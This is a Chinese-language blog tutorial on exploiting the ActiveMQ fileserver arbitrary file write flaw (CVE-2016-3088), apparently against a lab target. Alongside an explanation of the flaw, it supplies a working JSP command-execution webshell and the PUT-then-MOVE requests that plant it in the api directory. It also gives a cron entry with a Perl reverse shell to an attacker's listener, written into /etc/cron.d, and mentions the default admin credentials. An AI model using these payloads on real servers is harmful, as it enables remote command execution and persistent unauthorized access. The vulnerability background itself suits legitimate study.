溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

ActiveMQ任意文件寫(xiě)入漏洞CVE-2016-3088的示例分析

發(fā)布時(shí)間:2021-12-28 17:47:15 來(lái)源:億速云 閱讀:123 作者:柒染 欄目:安全技術(shù)

ActiveMQ任意文件寫(xiě)入漏洞CVE-2016-3088的示例分析,很多新手對(duì)此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來(lái)學(xué)習(xí)下,希望你能有所收獲。

背景簡(jiǎn)介

ActiveMQ Web控制臺(tái)分為三個(gè)應(yīng)用程序:admin,api和fileserver,其中admin是管理員頁(yè)面,api是界面,fileserver是用于存儲(chǔ)文件的界面;admin和api需要先登錄才能使用,fileserver不需要登錄。

文件服務(wù)器是RESTful API接口。我們可以通過(guò)HTTP請(qǐng)求(例如GET,PUT和DELETE)讀寫(xiě)存儲(chǔ)在其中的文件。設(shè)計(jì)目的是為了彌補(bǔ)消息隊(duì)列操作無(wú)法傳輸和存儲(chǔ)二進(jìn)制文件但后來(lái)發(fā)現(xiàn)的缺陷:

  1. 使用率不高

  2. 文件操作容易產(chǎn)生漏洞

因此,ActiveMQ默認(rèn)在5.12.x?5.13.x中關(guān)閉文件服務(wù)器應(yīng)用程序(您可以在conf / jetty.xml中打開(kāi)它)。在5.14.0之后,文件服務(wù)器應(yīng)用程序?qū)⒈煌耆珓h除。

在測(cè)試過(guò)程中,您應(yīng)注意ActiveMQ的版本,以防浪費(fèi)精力。

漏洞詳情

此漏洞出現(xiàn)在Fileserver應(yīng)用程序中,漏洞原理實(shí)際上很簡(jiǎn)單,即文件服務(wù)器支持寫(xiě)入文件(但不解析JSP),同時(shí)支持移動(dòng)文件(MOVE請(qǐng)求)。因此,我們只需要編寫(xiě)一個(gè)文件,然后使用移動(dòng)請(qǐng)求將其移動(dòng)到任何位置,就會(huì)導(dǎo)致任意文件寫(xiě)入漏洞。

漏洞利用

文件寫(xiě)入有幾種利用方法:

1.寫(xiě)入webshell

2.寫(xiě)入cron或ssh key等文件

3.寫(xiě)入jar或jetty.xml等庫(kù)和配置文件

編寫(xiě)webshell的優(yōu)點(diǎn)是方便,但是文件服務(wù)器不需要解析jsp,admin和api都需要登錄才能訪問(wèn),因此有點(diǎn)徒勞。編寫(xiě)cron或ssh鍵的優(yōu)點(diǎn)是直接反轉(zhuǎn)Shell,這也很方便,缺點(diǎn)是您需要root權(quán)限;寫(xiě)jar,有點(diǎn)麻煩(需要jar后門(mén)),寫(xiě)xml配置文件,這種方法比較可靠,但是有一點(diǎn)徒勞:我們需要知道ActiveMQ的絕對(duì)路徑。

接下來(lái)讓我們?cè)囋囘@三種方法:

一.寫(xiě)入webshell

如前所述,Webshell必須使用Admin或Api應(yīng)用程序編寫(xiě),并且兩個(gè)應(yīng)用程序都必須登錄才能訪問(wèn)。

默認(rèn)的ActiveMQ帳戶和密碼為admin。

然后進(jìn)入到首頁(yè)下的fileserver這個(gè)文件夾下

ActiveMQ任意文件寫(xiě)入漏洞CVE-2016-3088的示例分析

bp抓包(刷新一下頁(yè)面就行),然后發(fā)到重發(fā)器,改成PUT方法,寫(xiě)入shell,代碼如下:

ActiveMQ任意文件寫(xiě)入漏洞CVE-2016-3088的示例分析

PUT  /fileserver/1.txt  HTTP/1.1
<%
        if("023".equals(request.getParameter("pwd"))){
                java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
                int a = -1;
                byte[] b = new byte[2048];
                out.print("<pre>");
                while((a=in.read(b))!=-1){
                        out.println(new String(b));
                }
                out.print("</pre>");
        }
%>

進(jìn)入相應(yīng)目錄查看,發(fā)現(xiàn)確實(shí)已經(jīng)寫(xiě)入shell文件,但是txt格式文件不能執(zhí)行,所以需要轉(zhuǎn)換成jsp格式的文件執(zhí)行。

ActiveMQ任意文件寫(xiě)入漏洞CVE-2016-3088的示例分析

繼續(xù)抓包,send to repeater ,改包方法改為MOVE,路徑是Destination:file:///opt/activemq/webapps/api/testhacker.jsp因?yàn)閍pi這個(gè)目錄可以解析jsp文件

ActiveMQ任意文件寫(xiě)入漏洞CVE-2016-3088的示例分析

進(jìn)入api目錄查看點(diǎn)擊新移動(dòng)來(lái)的testhacker.jsp,網(wǎng)頁(yè)空白就說(shuō)明webshell上傳成功

ActiveMQ任意文件寫(xiě)入漏洞CVE-2016-3088的示例分析

這時(shí)可以在url后面執(zhí)行命令,成功返回結(jié)果

ActiveMQ任意文件寫(xiě)入漏洞CVE-2016-3088的示例分析

也可以上靶機(jī)的網(wǎng)站目錄下看生成的文件

ActiveMQ任意文件寫(xiě)入漏洞CVE-2016-3088的示例分析

實(shí)驗(yàn)相關(guān)補(bǔ)充

寫(xiě)入webshell門(mén)檻低且方便,但是fileserver這個(gè)目錄是沒(méi)有jsp的執(zhí)行權(quán)限的,想要執(zhí)行jsp的webshell需要將jsp文件放入admin或者api目錄中,這兩個(gè)目錄是具有jsp解析執(zhí)行權(quán)限的,但是這兩個(gè)目錄又需要登錄才能進(jìn)入。所以當(dāng)收到響應(yīng)是4XX時(shí),需要登錄。

漏洞原理

根據(jù)上面的操作能發(fā)現(xiàn),漏洞原理簡(jiǎn)單來(lái)說(shuō)就是fileserver這個(gè)目錄支持寫(xiě)入文件,并且這個(gè)目錄支持move請(qǐng)求移動(dòng)文件。因此,我們只需要寫(xiě)入一個(gè)文件,再通過(guò)move移動(dòng)到能夠解析jsp文件的目錄下,進(jìn)去執(zhí)行就會(huì)造成任意文件寫(xiě)入漏洞。

流程就是:寫(xiě)入文件(put方法)——>移動(dòng)文件(move方法)——>執(zhí)行文件

二.寫(xiě)入crontab,利用定時(shí)任務(wù)反彈shell

這是一個(gè)比較穩(wěn)健的方法。首先上傳cron配置文件(注意,換行一定要`\n`,不能是`\r\n`,否則crontab執(zhí)行會(huì)失敗)。

直接網(wǎng)頁(yè)訪問(wèn)yourip:port/fileserver并抓包,把以下代碼寫(xiě)入抓的數(shù)據(jù)包中,并改為PUT方式,修改監(jiān)聽(tīng)ip和端口

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="監(jiān)聽(tīng)vps的IP";$p=監(jiān)聽(tīng)端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

然后網(wǎng)頁(yè)訪問(wèn)這個(gè)文件并抓包,將GET改為MOVE方式,把它移動(dòng)到/etc/cron.d/root目錄下,路徑為Destination: file:///etc/cron.d/root

ActiveMQ任意文件寫(xiě)入漏洞CVE-2016-3088的示例分析

這個(gè)方法需要ActiveMQ是root運(yùn)行,否則也不能寫(xiě)入cron文件。

如果以上兩個(gè)請(qǐng)求都返回204,則寫(xiě)入成功。監(jiān)聽(tīng)對(duì)應(yīng)端口等待反彈shell:ActiveMQ任意文件寫(xiě)入漏洞CVE-2016-3088的示例分析

第三種方法寫(xiě)入jetty.xml或jar不太懂,就不寫(xiě)了。

看完上述內(nèi)容是否對(duì)您有幫助呢?如果還想對(duì)相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝您對(duì)億速云的支持。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI